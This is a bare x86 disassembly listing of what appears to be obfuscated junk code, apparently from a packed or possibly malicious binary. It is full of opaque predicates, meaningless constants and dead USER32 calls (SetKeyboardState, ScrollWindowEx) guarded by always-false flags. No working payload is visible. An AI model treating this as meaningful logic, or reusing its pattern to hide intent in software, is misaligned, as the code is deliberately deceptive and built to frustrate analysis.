jle 0x4652ae
mov dword [ebp - 0x480], 1
jmp 0x4652b5
and dword [ebp - 0x480], 0
mov eax, dword [ebp - 0x480]
mov dword [ebp - 0x890], eax
mov eax, dword [ebp - 0x890]
mov dword [ebp - 0xaec], eax
mov dword [ebp - 0x48], 0
jmp 0x4652dd
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 2
jg 0x465e20
mov dword [ebp - 0x134], 0x24a8c6a5
mov dword [ebp - 0x4a0], 0xffff
mov dword [ebp - 0x4a8], 0x9f5fa318
push 2
lea ecx, [ebp - 0xb74]
call fcn.0040194d
mov dword [ebp - 0x2dc], 0
mov dword [ebp - 0xb1c], 1
mov dword [ebp - 0x1ec], 0x5ee56e31
mov dword [ebp - 0x26c], 0
mov dword [ebp - 0xb14], 0x3aa9c1c7
mov dword [ebp - 0x244], 0
jmp 0x46535d
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 2
jge 0x46537c
push dword [ebp - 0x244]
lea ecx, [ebp - 0xb74]
call fcn.00401379
or dword [eax], 0xffffffff
jmp 0x465350
mov dword [ebp - 0x134], 0
jmp 0x465395
mov eax, dword [ebp - 0x134]
dec eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0xffffffe7
jge 0x4653bf
mov byte [ebp - 0x12b], 0
movzx eax, byte [ebp - 0x12b]
test eax, eax
je 0x4653bd
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
jmp 0x465388
cmp dword [ebp - 0x134], 0
jne 0x4654be
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0xaf4], eax
mov eax, dword [ebp - 0x26c]
mov dword [ebp - 0xafc], eax
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
mov eax, dword [ebp - 0xaf4]
cmp eax, dword [ebp - 0xafc]
je 0x46540b
mov dword [ebp - 0xb04], 1
jmp 0x465412
and dword [ebp - 0xb04], 0
cmp dword [ebp - 0x4a8], 0
jne 0x46545c
mov esi, dword [ebp - 0x1ec]
push 1
lea ecx, [ebp - 0xb74]
call fcn.00401379
cmp esi, dword [eax]
jle 0x46543e
mov dword [ebp - 0x488], 1
jmp 0x465445
and dword [ebp - 0x488], 0
mov eax, dword [ebp - 0x1ec]
cmp dword [ebp - 0x488], eax
jl 0x46545c
and dword [ebp - 0x898], 0
jmp 0x465466
mov dword [ebp - 0x898], 1
cmp dword [ebp - 0x898], 0xfffffffd
jl 0x46547b
mov dword [ebp - 0x490], 1
jmp 0x465482
and dword [ebp - 0x490], 0
push 1
lea ecx, [ebp - 0xb74]
call fcn.00401379
mov ecx, dword [ebp - 0x490]
cmp ecx, dword [eax]
jge 0x4654a5
mov dword [ebp - 0xb0c], 1
jmp 0x4654ac
and dword [ebp - 0xb0c], 0
cmp dword [ebp - 0x2dc], 0
jne 0x4654be
and dword [ebp - 0x8a0], 0
jmp 0x4654c8
mov dword [ebp - 0x8a0], 1
mov eax, dword [ebp - 0x8a0]
mov dword [ebp - 0x1ec], eax
mov eax, dword [ebp - 0x1ec]
mov dword [ebp - 0xd44], eax
cmp dword [ebp - 0x26c], 0xffff
jae 0x4654f8
mov dword [ebp - 0x498], 1
jmp 0x4654ff
and dword [ebp - 0x498], 0
mov eax, dword [ebp - 0x2dc]
cmp dword [ebp - 0x498], eax
jle 0x465519
mov dword [ebp - 0x8a8], 1
jmp 0x465520
and dword [ebp - 0x8a8], 0
cmp dword [ebp - 0x8a8], 0xfffffff9
jl 0x465535
mov dword [ebp - 0x8b0], 1
jmp 0x46553c
and dword [ebp - 0x8b0], 0
mov eax, dword [ebp - 0x4a0]
cmp dword [ebp - 0x8b0], eax
jg 0x465556
mov dword [ebp - 0x8b8], 1
jmp 0x46555d
and dword [ebp - 0x8b8], 0
mov eax, dword [ebp - 0x4a8]
cmp dword [ebp - 0x8b8], eax
jle 0x465577
mov dword [ebp - 0x4b0], 1
jmp 0x46557e
and dword [ebp - 0x4b0], 0
mov eax, dword [ebp - 0xb14]
cmp dword [ebp - 0x4b0], eax
jg 0x465598
mov dword [ebp - 0x8c0], 1
jmp 0x46559f
and dword [ebp - 0x8c0], 0
cmp dword [ebp - 0x8c0], 1
jbe 0x4655b4
mov dword [ebp - 0x4b8], 1
jmp 0x4655bb
and dword [ebp - 0x4b8], 0
push 1
lea ecx, [ebp - 0xb74]
call fcn.00401379
mov ecx, dword [ebp - 0x4b8]
cmp ecx, dword [eax]
jne 0x4655de
mov dword [ebp - 0x8c8], 1
jmp 0x4655e5
and dword [ebp - 0x8c8], 0
mov eax, dword [ebp - 0xb1c]
cmp dword [ebp - 0x8c8], eax
jge 0x4655ff
mov dword [ebp - 0x4c0], 1
jmp 0x465606
and dword [ebp - 0x4c0], 0
mov eax, dword [ebp - 0x2dc]
add eax, dword [ebp - 0x4c0]
mov dword [ebp - 0x134], eax
lea ecx, [ebp - 0xb74]
call fcn.00401a1f
mov dword [ebp - 0x58], 0xffffffff
mov dword [ebp - 0x2e4], 1
mov dword [ebp - 0x514], 0xebf9035
or dword [ebp - 0xc48], 0xffffffff
or dword [ebp - 0xc44], 0xffffffff
or dword [ebp - 0xc40], 0xffffffff
or dword [ebp - 0xc3c], 0xffffffff
lea ecx, [ebp - 0x32d]
call fcn.00401a3b
push eax
lea eax, [ebp - 0xc38]
push eax
lea eax, [ebp - 0xc48]
push eax
lea ecx, [ebp - 0xfb4]
call fcn.00401a3e
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x968]
call fcn.004019f9
mov dword [ebp - 0xa0c], 0xfffe
mov dword [ebp - 0x58], 0
jmp 0x4656a9
mov eax, dword [ebp - 0x58]
dec eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0xffffffe6
jle 0x465d17
mov dword [ebp - 0x164], 1
mov dword [ebp - 0x32c], 0x1b35d569
mov dword [ebp - 0x4fc], 0x2b058efa
mov dword [ebp - 0x13c], 0xef9953e8
mov dword [ebp - 0xd4c], 0x7feae215
mov dword [ebp - 0x734], 0xcaa5d732
mov dword [ebp - 0xb8], 0x87b8b0d5
mov dword [ebp - 0x98], 0
jmp 0x465712
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 3
jge 0x46572e
mov eax, dword [ebp - 0x98]
mov dword [ebp + eax*4 - 0x9c0], 0
jmp 0x465705
mov dword [ebp - 0x98], 0
jmp 0x465747
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 1
jge 0x465763
mov eax, dword [ebp - 0x98]
mov dword [ebp + eax*4 - 0x1f4], 0
jmp 0x46573a
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
je 0x4657cc
push 4
pop eax
shl eax, 1
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x1f4]
cmp dword [ebp + eax - 0x9c0], ecx
jle 0x465799
mov dword [ebp - 0x8d0], 1
jmp 0x4657a0
and dword [ebp - 0x8d0], 0
mov eax, dword [ebp - 0x8d0]
mov dword [ebp - 0x2e4], eax
push 1
lea ecx, [ebp - 0x968]
call fcn.00401379
mov ecx, dword [ebp - 0x58]
cmp dword [eax], ecx
jl 0x4657cc
mov dword [ebp - 0x8d8], 1
jmp 0x4657d3
and dword [ebp - 0x8d8], 0
mov eax, dword [ebp - 0x8d8]
sub eax, dword [ebp - 0x13c]
je 0x4657fb
xor eax, eax
inc eax
je 0x4657fb
cmp dword [ebp - 0x32c], 0
je 0x4657fb
mov dword [ebp - 0xb24], 1
jmp 0x465802
and dword [ebp - 0xb24], 0
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0xd54], eax
mov eax, 0x68de
cmp eax, 0x215f
jl 0x46581e
push 0xfffffffffffffffe
pop eax
test eax, eax
jne 0x465839
push 1
lea ecx, [ebp - 0x968]
call fcn.00401379
cmp dword [eax], 0
jne 0x465839
and dword [ebp - 0x4e0], 0
jmp 0x465843
mov dword [ebp - 0x4e0], 1
push 3
lea ecx, [ebp - 0x968]
call fcn.00401379
mov ecx, dword [ebp - 0x4e0]
cmp ecx, dword [eax]
jne 0x465866
mov dword [ebp - 0xb2c], 1
jmp 0x46586d
and dword [ebp - 0xb2c], 0
mov eax, dword [ebp - 0x514]
mov dword [ebp - 0xd5c], eax
mov dword [ebp - 0x164], 0x36fe
cmp dword [ebp - 0x164], 0
je 0x4658a1
mov eax, 0x3ac1
test eax, eax
je 0x4658a1
mov dword [ebp - 0x4d8], 1
jmp 0x4658a8
and dword [ebp - 0x4d8], 0
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x4d8], eax
jge 0x4658bf
mov dword [ebp - 0x4d4], 1
jmp 0x4658c6
and dword [ebp - 0x4d4], 0
mov esi, dword [ebp - 0x734]
imul esi, dword [ebp - 0x4d4]
push 2
lea ecx, [ebp - 0x968]
call fcn.00401379
cmp esi, dword [eax]
jne 0x4658f0
mov dword [ebp - 0x84c], 1
jmp 0x4658f7
and dword [ebp - 0x84c], 0
cmp dword [ebp - 0x84c], 0x2646899d
jl 0x465aef
mov dword [ebp - 0x160], 1
mov dword [ebp - 0xb8], 0xfffffff1
jmp 0x46592a
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0x33
jge 0x465a3a
mov dword [ebp - 0x72c], 0xde33
mov dword [ebp - 0xa54], 0x8693c25
cmp dword [ebp - 0x164], 0
je 0x465a22
cmp dword [ebp - 0x160], 0
je 0x4659b7
cmp dword [ebp - 0x72c], 1
je 0x465976
mov dword [ebp - 0xb34], 1
jmp 0x46597d
and dword [ebp - 0xb34], 0
mov eax, dword [ebp - 0x160]
lea eax, [eax + eax + 1]
cmp eax, dword [ebp - 0x164]
jle 0x46599b
mov dword [ebp - 0xa00], 1
jmp 0x4659a2
and dword [ebp - 0xa00], 0
cmp dword [ebp - 0x160], 0
je 0x4659b7
mov dword [ebp - 0xa04], 1
jmp 0x4659be
and dword [ebp - 0xa04], 0
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x9c0], 0
jg 0x4659d9
mov dword [ebp - 0x4dc], 1
jmp 0x4659e0
and dword [ebp - 0x4dc], 0
mov eax, dword [ebp - 0x160]
imul eax, dword [ebp - 0x4dc]
cmp eax, dword [ebp - 0x72c]
jne 0x465a01
mov dword [ebp - 0x4e4], 1
jmp 0x465a08
and dword [ebp - 0x4e4], 0
mov eax, dword [ebp - 0x13c]
cmp dword [ebp - 0x4e4], eax
jl 0x465a22
mov dword [ebp - 0x95c], 1
jmp 0x465a29
and dword [ebp - 0x95c], 0
mov eax, dword [ebp - 0x95c]
mov dword [ebp - 0xa54], eax
jmp 0x46591d
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1f4]
mov dword [ebp - 0xd64], eax
mov eax, dword [ebp - 0x160]
cmp dword [ebp - 0x160], eax
je 0x465a67
mov dword [ebp - 0x4ec], 1
jmp 0x465a6e
and dword [ebp - 0x4ec], 0
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x9c0], 0xdb2a
cmp dword [ebp - 0x4ec], 0xdb2a
jne 0x465a9c
cmp dword [ebp - 0x734], 0
jne 0x465a9c
and dword [ebp - 0x4f4], 0
jmp 0x465aa6
mov dword [ebp - 0x4f4], 1
mov eax, dword [ebp - 0x4f4]
sub eax, dword [ebp - 0xb8]
jne 0x465acd
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x9c0], 0
jne 0x465acd
and dword [ebp - 0x854], 0
jmp 0x465ad7
mov dword [ebp - 0x854], 1
mov eax, dword [ebp - 0x854]
sub eax, dword [ebp - 0xa0c]
dec eax
mov dword [ebp - 0x4fc], eax
jmp 0x465d12
mov dword [ebp - 0x15c], 0xffffffff
mov dword [ebp - 0x13c], 0
jmp 0x465b12
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 9
jl 0x465d12
mov dword [ebp - 0xa64], 0xed7c6c5f
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x9c0], 0
jne 0x465b4d
mov eax, dword [ebp - 0x58]
sub eax, dword [ebp - 0x15c]
jne 0x465b4d
and dword [ebp - 0xa5c], 0
jmp 0x465b57
mov dword [ebp - 0xa5c], 1
mov eax, dword [ebp - 0x15c]
cmp dword [ebp - 0x2e4], eax
jle 0x465b71
mov dword [ebp - 0xa14], 1
jmp 0x465b78
and dword [ebp - 0xa14], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1f4]
mov dword [ebp - 0xd6c], eax
cmp dword [ebp - 0x4fc], 0
je 0x465ba9
cmp dword [ebp - 0x32c], 0
je 0x465ba9
mov dword [ebp - 0x73c], 1
jmp 0x465bb0
and dword [ebp - 0x73c], 0
mov eax, dword [ebp - 0xa64]
cmp eax, dword [ebp - 0x73c]
jg 0x465bca
mov dword [ebp - 0x504], 1
jmp 0x465bd1
and dword [ebp - 0x504], 0
mov esi, dword [ebp - 0x504]
sub esi, dword [ebp - 0x15c]
push 1
lea ecx, [ebp - 0x968]
call fcn.00401379
cmp esi, dword [eax]
jle 0x465bfa
mov dword [ebp - 0x8e4], 1
jmp 0x465c01
and dword [ebp - 0x8e4], 0
cmp dword [ebp - 0x8e4], 0x60806af7
je 0x465c19
mov dword [ebp - 0x50c], 1
jmp 0x465c20
and dword [ebp - 0x50c], 0
mov esi, dword [ebp - 0x50c]
sub esi, 0x5fca9972
push 1
lea ecx, [ebp - 0x968]
call fcn.00401379
mov dword [eax], esi
push 2
lea ecx, [ebp - 0x968]
call fcn.00401379
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1f4]
mov dword [ebp - 0xd74], eax
push 0xfffffffffffffffe
pop eax
test eax, eax
jne 0x465cf5
mov eax, dword [ebp - 0x32c]
imul eax, dword [ebp - 0x164]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x9c0]
jge 0x465c96
cmp dword [ebp - 0x15c], 0
je 0x465c96
mov dword [ebp - 0xa1c], 1
jmp 0x465c9d
and dword [ebp - 0xa1c], 0
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0xd7c], eax
cmp dword [ebp - 0x15c], 0xfab
jl 0x465cc1
mov dword [ebp - 0x744], 1
jmp 0x465cc8
and dword [ebp - 0x744], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x744]
mov dword [ebp + eax - 0x9c0], ecx
mov eax, dword [ebp - 0x514]
mov dword [ebp - 0xd84], eax
cmp dword [ebp - 0x58], 0
jne 0x465cf5
and dword [ebp - 0x85c], 0
jmp 0x465cff
mov dword [ebp - 0x85c], 1
mov eax, dword [ebp - 0x85c]
neg eax
mov dword [ebp - 0x2e4], eax
jmp 0x465b05
jmp 0x4656a2
lea ecx, [ebp - 0x968]
call fcn.00401a1f
mov dword [ebp - 0x24c], 0
jmp 0x465d3b
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 2
jge 0x465d57
mov eax, dword [ebp - 0x24c]
mov dword [ebp + eax*4 - 0xbf4], 0
jmp 0x465d2e
cmp dword [ebp - 0x48], 1
jge 0x465d69
mov dword [ebp - 0x51c], 1
jmp 0x465d70
and dword [ebp - 0x51c], 0
push dword [ebp - 0x48]
lea ecx, [ebp - 0xb84]
call fcn.00401379
mov eax, dword [eax]
cmp eax, dword [ebp - 0x51c]
jne 0x465d94
mov dword [ebp - 0xa6c], 1
jmp 0x465d9b
and dword [ebp - 0xa6c], 0
push dword [ebp - 0x48]
lea ecx, [ebp - 0xb84]
call fcn.00401379
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x48], eax
jl 0x465dbd
mov dword [ebp - 0x358], 1
jmp 0x465dc4
and dword [ebp - 0x358], 0
push dword [ebp - 0x48]
lea ecx, [ebp - 0xb84]
call fcn.00401379
mov ecx, dword [ebp - 0x358]
mov dword [eax], ecx
cmp dword [ebp - 0x358], 0
jae 0x465def
mov dword [ebp - 0x74c], 1
jmp 0x465df6
and dword [ebp - 0x74c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x74c]
mov dword [ebp + eax - 0xbf4], ecx
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xbf4], 0
je 0x465e1b
jmp 0x465e20
jmp 0x4652d6
lea ecx, [ebp - 0xb84]
call fcn.00401a1f
mov dword [ebp - 8], 0xbeaa32b1
mov dword [ebp - 0x80], 0x7102d149
mov dword [ebp - 0xc8], 0xfffffffa
mov dword [ebp - 0x1fc], 0
jmp 0x465e5c
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 2
jge 0x465e78
mov eax, dword [ebp - 0x1fc]
mov dword [ebp + eax*4 - 0x9d0], 0x47d1afd0
jmp 0x465e4f
mov eax, dword [ebp - 8]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0xd8c], eax
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0xd94], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0xd9c], eax
mov eax, 0xc865b49d
sub eax, dword [ebp - 8]
mov dword [ebp - 0x524], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x524]
mov dword [ebp + eax - 0x9d0], ecx
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x524]
cmp dword [ebp - 0x80], eax
je 0x465ed4
mov dword [ebp - 0x934], 1
jmp 0x465edb
and dword [ebp - 0x934], 0
mov eax, dword [ebp - 0x934]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0xda4], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0xdac], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xc8]
cmp dword [ebp + eax - 0x9d0], ecx
jg 0x465f17
mov dword [ebp - 0x52c], 1
jmp 0x465f1e
and dword [ebp - 0x52c], 0
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0x52c]
cmp eax, dword [ebp - 8]
jl 0x465f38
mov dword [ebp - 0x754], 1
jmp 0x465f3f
and dword [ebp - 0x754], 0
mov eax, dword [ebp - 0x754]
sub eax, dword [ebp - 8]
je 0x4661ba
mov dword [ebp - 0x254], 0x1826fbd1
mov byte [ebp - 0xf9], 0
movzx eax, byte [ebp - 0xf9]
test eax, eax
je 0x465f72
push 0
call dword [sym.imp.USER32.dll_SetKeyboardState]
mov dword [ebp - 0x80], 0
jmp 0x465f82
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 1
jg 0x4661b8
mov dword [ebp - 0x204], 0xcf7d
mov dword [ebp - 0xdb4], 6
mov eax, dword [ebp - 0x254]
dec eax
mov dword [ebp - 0x254], eax
mov dword [ebp - 8], 0
jmp 0x465fbd
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 1
jg 0x4661b3
push 3
lea ecx, [ebp - 0x388]
call fcn.0040194d
mov dword [ebp - 0x27c], 0
jmp 0x465fed
mov eax, dword [ebp - 0x27c]
inc eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 3
jge 0x46600f
push dword [ebp - 0x27c]
lea ecx, [ebp - 0x388]
call fcn.00401379
mov dword [eax], 0xd3cd3624
jmp 0x465fe0
imul esi, dword [ebp - 8], 0xfffc
push 2
lea ecx, [ebp - 0x388]
call fcn.00401379
cmp esi, dword [eax]
je 0x46604e
push 2
lea ecx, [ebp - 0x388]
call fcn.00401379
cmp dword [eax], 0
je 0x466049
lea ecx, [ebp - 0x388]
call fcn.00401a1f
jmp 0x4661b3
jmp 0x4661a3
mov dword [ebp - 0xa24], 0x72c2e8b5
mov dword [ebp - 0x204], 2
jmp 0x466071
mov eax, dword [ebp - 0x204]
dec eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 0
jl 0x4661a3
mov dword [ebp - 0x53c], 0x3c5ebb4e
mov dword [ebp - 0xa74], 0xfffffff6
push dword [ebp - 8]
lea ecx, [ebp - 0x388]
call fcn.00401379
mov esi, eax
push dword [ebp - 8]
lea ecx, [ebp - 0x388]
call fcn.00401379
mov ecx, dword [esi]
mov dword [eax], ecx
mov esi, dword [ebp - 0x254]
push 2
lea ecx, [ebp - 0x388]
call fcn.00401379
cmp esi, dword [eax]
je 0x4660d7
mov dword [ebp - 0x2ec], 1
jmp 0x4660de
and dword [ebp - 0x2ec], 0
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x2ec]
mov dword [ebp + eax*4 - 0x9d0], ecx
cmp dword [ebp - 0x2ec], 0
jne 0x466109
mov eax, 0xeda1e1cf
test eax, eax
jne 0x466109
and dword [ebp - 0x534], 0
jmp 0x466113
mov dword [ebp - 0x534], 1
cmp dword [ebp - 0x534], 0xfffffffd
jle 0x466128
mov dword [ebp - 0x864], 1
jmp 0x46612f
and dword [ebp - 0x864], 0
mov eax, dword [ebp - 0xa24]
imul eax, dword [ebp - 0x864]
mov dword [ebp - 0x53c], eax
mov eax, dword [ebp - 0x53c]
sub eax, 5
mov dword [ebp - 0xc8], eax
mov esi, dword [ebp - 0xc8]
push 2
lea ecx, [ebp - 0x388]
call fcn.00401379
add esi, dword [eax]
push 2
lea ecx, [ebp - 0x388]
call fcn.00401379
add esi, dword [eax]
mov eax, dword [ebp - 0x254]
add eax, esi
jne 0x46618b
mov dword [ebp - 0x75c], 1
jmp 0x466192
and dword [ebp - 0x75c], 0
mov eax, dword [ebp - 0x75c]
mov dword [ebp - 0xa74], eax
jmp 0x466064
lea ecx, [ebp - 0x388]
call fcn.00401a1f
jmp 0x465fb6
jmp 0x465f7b
jmp 0x4661ef
mov dword [ebp - 0xc8], 0
jmp 0x4661d3
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 2
jge 0x4661ef
mov eax, dword [ebp - 0xc8]
mov dword [ebp + eax*4 - 0x9d0], 0xa90cffae
jmp 0x4661c6
mov dword [ebp - 0x40], 9
push 2
lea ecx, [ebp - 0x9f4]
call fcn.0040194d
mov dword [ebp - 0x334], 9
mov dword [ebp - 0x54c], 0xf093d7f2
mov dword [ebp - 0x20c], 0
jmp 0x466230
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 2
jge 0x466252
push dword [ebp - 0x20c]
lea ecx, [ebp - 0x9f4]
call fcn.00401379
mov dword [eax], 6
jmp 0x466223
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x40], eax
mov esi, dword [ebp - 0x40]
push 1
lea ecx, [ebp - 0x9f4]
call fcn.00401379
mov eax, dword [eax]
add eax, 0x6a756a33
sub esi, eax
push 1
lea ecx, [ebp - 0x9f4]
call fcn.00401379
mov dword [eax], esi
mov dword [ebp - 0x40], 0xffffffe8
jmp 0x466290
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0xffffffef
jge 0x4664e4
mov dword [ebp - 0x154], 0xffffffff
mov dword [ebp - 0x764], 0xcdf1
mov dword [ebp - 0x144], 3
mov dword [ebp - 0x56c], 0xfffffff7
mov byte [ebp - 0x122], 0
movzx eax, byte [ebp - 0x122]
test eax, eax
je 0x4662f8
push 0xc1c
push 0
push 0
push 0
push 0
push 0x1679
push 0x9c5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindowEx]
mov eax, dword [ebp - 0x40]
neg eax
je 0x4664ca
cmp dword [ebp - 0x154], 0xaf5bfb66
jbe 0x46631b
mov dword [ebp - 0x554], 1
jmp 0x466322
and dword [ebp - 0x554], 0
mov eax, dword [ebp - 0x334]
inc eax
mov dword [ebp - 0x334], eax
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0
je 0x46644b
cmp dword [ebp - 0x56c], 0
jne 0x46636c
push 1
lea ecx, [ebp - 0x9f4]
call fcn.00401379
cmp dword [eax], 0
jne 0x46636c
and dword [ebp - 0x544], 0
jmp 0x466376
mov dword [ebp - 0x544], 1
mov eax, dword [ebp - 0x334]
cmp dword [ebp - 0x544], eax
jg 0x466390
mov dword [ebp - 0x2f4], 1
jmp 0x466397
and dword [ebp - 0x2f4], 0
push 1
lea ecx, [ebp - 0x9f4]
call fcn.00401379
mov ecx, dword [ebp - 0x2f4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x144]
cmp dword [ebp - 0x2f4], eax
je 0x4663cc
cmp dword [ebp - 0x154], 0
jne 0x4663cc
and dword [ebp - 0xa2c], 0
jmp 0x4663d6
mov dword [ebp - 0xa2c], 1
mov eax, dword [ebp - 0x764]
mov dword [ebp - 0xdbc], eax
cmp dword [ebp - 0x144], 3
jne 0x4663f7
mov dword [ebp - 0x8ec], 1
jmp 0x4663fe
and dword [ebp - 0x8ec], 0
mov eax, dword [ebp - 0x8ec]
mov dword [ebp - 0x54c], eax
mov eax, dword [ebp - 0x54c]
mov dword [ebp - 0xdc4], eax
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0xdcc], eax
mov eax, dword [ebp - 0x764]
mov dword [ebp - 0x144], eax
mov eax, dword [ebp - 0x144]
imul eax, dword [ebp - 0x154]
test eax, eax
je 0x46644b
mov dword [ebp - 0x86c], 1
jmp 0x466452
and dword [ebp - 0x86c], 0
mov eax, dword [ebp - 0x554]
cmp eax, dword [ebp - 0x86c]
jge 0x46646c
mov dword [ebp - 0x55c], 1
jmp 0x466473
and dword [ebp - 0x55c], 0
cmp dword [ebp - 0x55c], 0
jne 0x466488
mov dword [ebp - 0x76c], 1
jmp 0x46648f
and dword [ebp - 0x76c], 0
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x76c], eax
jg 0x4664a6
mov dword [ebp - 0x564], 1
jmp 0x4664ad
and dword [ebp - 0x564], 0
mov eax, dword [ebp - 0x154]
add eax, dword [ebp - 0x564]
sub eax, dword [ebp - 0x40]
je 0x4664ca
mov dword [ebp - 0x99c], 1
jmp 0x4664d1
and dword [ebp - 0x99c], 0
mov eax, dword [ebp - 0x99c]
neg eax
mov dword [ebp - 0x56c], eax
jmp 0x466289
lea ecx, [ebp - 0x9f4]
call fcn.00401a1f
mov dword [ebp - 0x14c], 0x9714a025
push 2
lea ecx, [ebp - 0x1b4]
call fcn.0040194d
mov dword [ebp - 0x214], 0
push 2
lea ecx, [ebp - 0x988]
call fcn.0040194d
mov dword [ebp - 0x30c], 0x211521fa
mov dword [ebp - 0x180], 9
mov dword [ebp - 0x2fc], 0xb862b336
mov dword [ebp - 0x9c], 0
jmp 0x466554
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 2
jge 0x466576
push dword [ebp - 0x9c]
lea ecx, [ebp - 0x1b4]
call fcn.00401379
mov dword [eax], 0xb5542afa
jmp 0x466547
mov dword [ebp - 0x9c], 0
jmp 0x46658f
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 2
jge 0x4665b1
push dword [ebp - 0x9c]
lea ecx, [ebp - 0x988]
call fcn.00401379
mov dword [eax], 0xf4442628
jmp 0x466582
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0xdd4], eax
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0xddc], eax
cmp dword [ebp - 0x14c], 0
je 0x4665e2
xor eax, eax
je 0x4665e2
mov dword [ebp - 0x774], 1
jmp 0x4665e9
and dword [ebp - 0x774], 0
mov eax, dword [ebp - 0x774]
mov dword [ebp - 0x14c], eax
mov esi, dword [ebp - 0x14c]
push 1
lea ecx, [ebp - 0x1b4]
call fcn.00401379
cmp esi, dword [eax]
jne 0x466618
mov dword [ebp - 0x574], 1
jmp 0x46661f
and dword [ebp - 0x574], 0
cmp dword [ebp - 0x574], 0xb445acee
ja 0x466637
mov dword [ebp - 0x874], 1
jmp 0x46663e
and dword [ebp - 0x874], 0
imul eax, dword [ebp - 0x874], 0x80ee
cmp eax, 0x4bcd
je 0x46665b
mov dword [ebp - 0xa7c], 1
jmp 0x466662
and dword [ebp - 0xa7c], 0
push 1
lea ecx, [ebp - 0x1b4]
call fcn.00401379
push 0
lea ecx, [ebp - 0x1b4]
call fcn.00401379
mov eax, dword [eax]
mov dword [ebp - 0x214], eax
mov eax, dword [ebp - 0x214]
mov dword [ebp - 0xde4], eax
push 1
lea ecx, [ebp - 0x1b4]
call fcn.00401379
push 1
lea ecx, [ebp - 0x1b4]
call fcn.00401379
mov esi, dword [eax]
add esi, 0xc4dd
push 1
lea ecx, [ebp - 0x1b4]
call fcn.00401379
cmp esi, dword [eax]
jne 0x4666cf
mov dword [ebp - 0x57c], 1
jmp 0x4666d6
and dword [ebp - 0x57c], 0
push 1
lea ecx, [ebp - 0x1b4]
call fcn.00401379
mov ecx, dword [ebp - 0x57c]
cmp ecx, dword [eax]
jne 0x4666f9
mov dword [ebp - 0x274], 1
jmp 0x466700
and dword [ebp - 0x274], 0
push 1
lea ecx, [ebp - 0x1b4]
call fcn.00401379
mov ecx, dword [ebp - 0x274]
mov dword [eax], ecx
push 1
lea ecx, [ebp - 0x988]
call fcn.00401379
mov ecx, dword [ebp - 0x274]
mov dword [eax], ecx
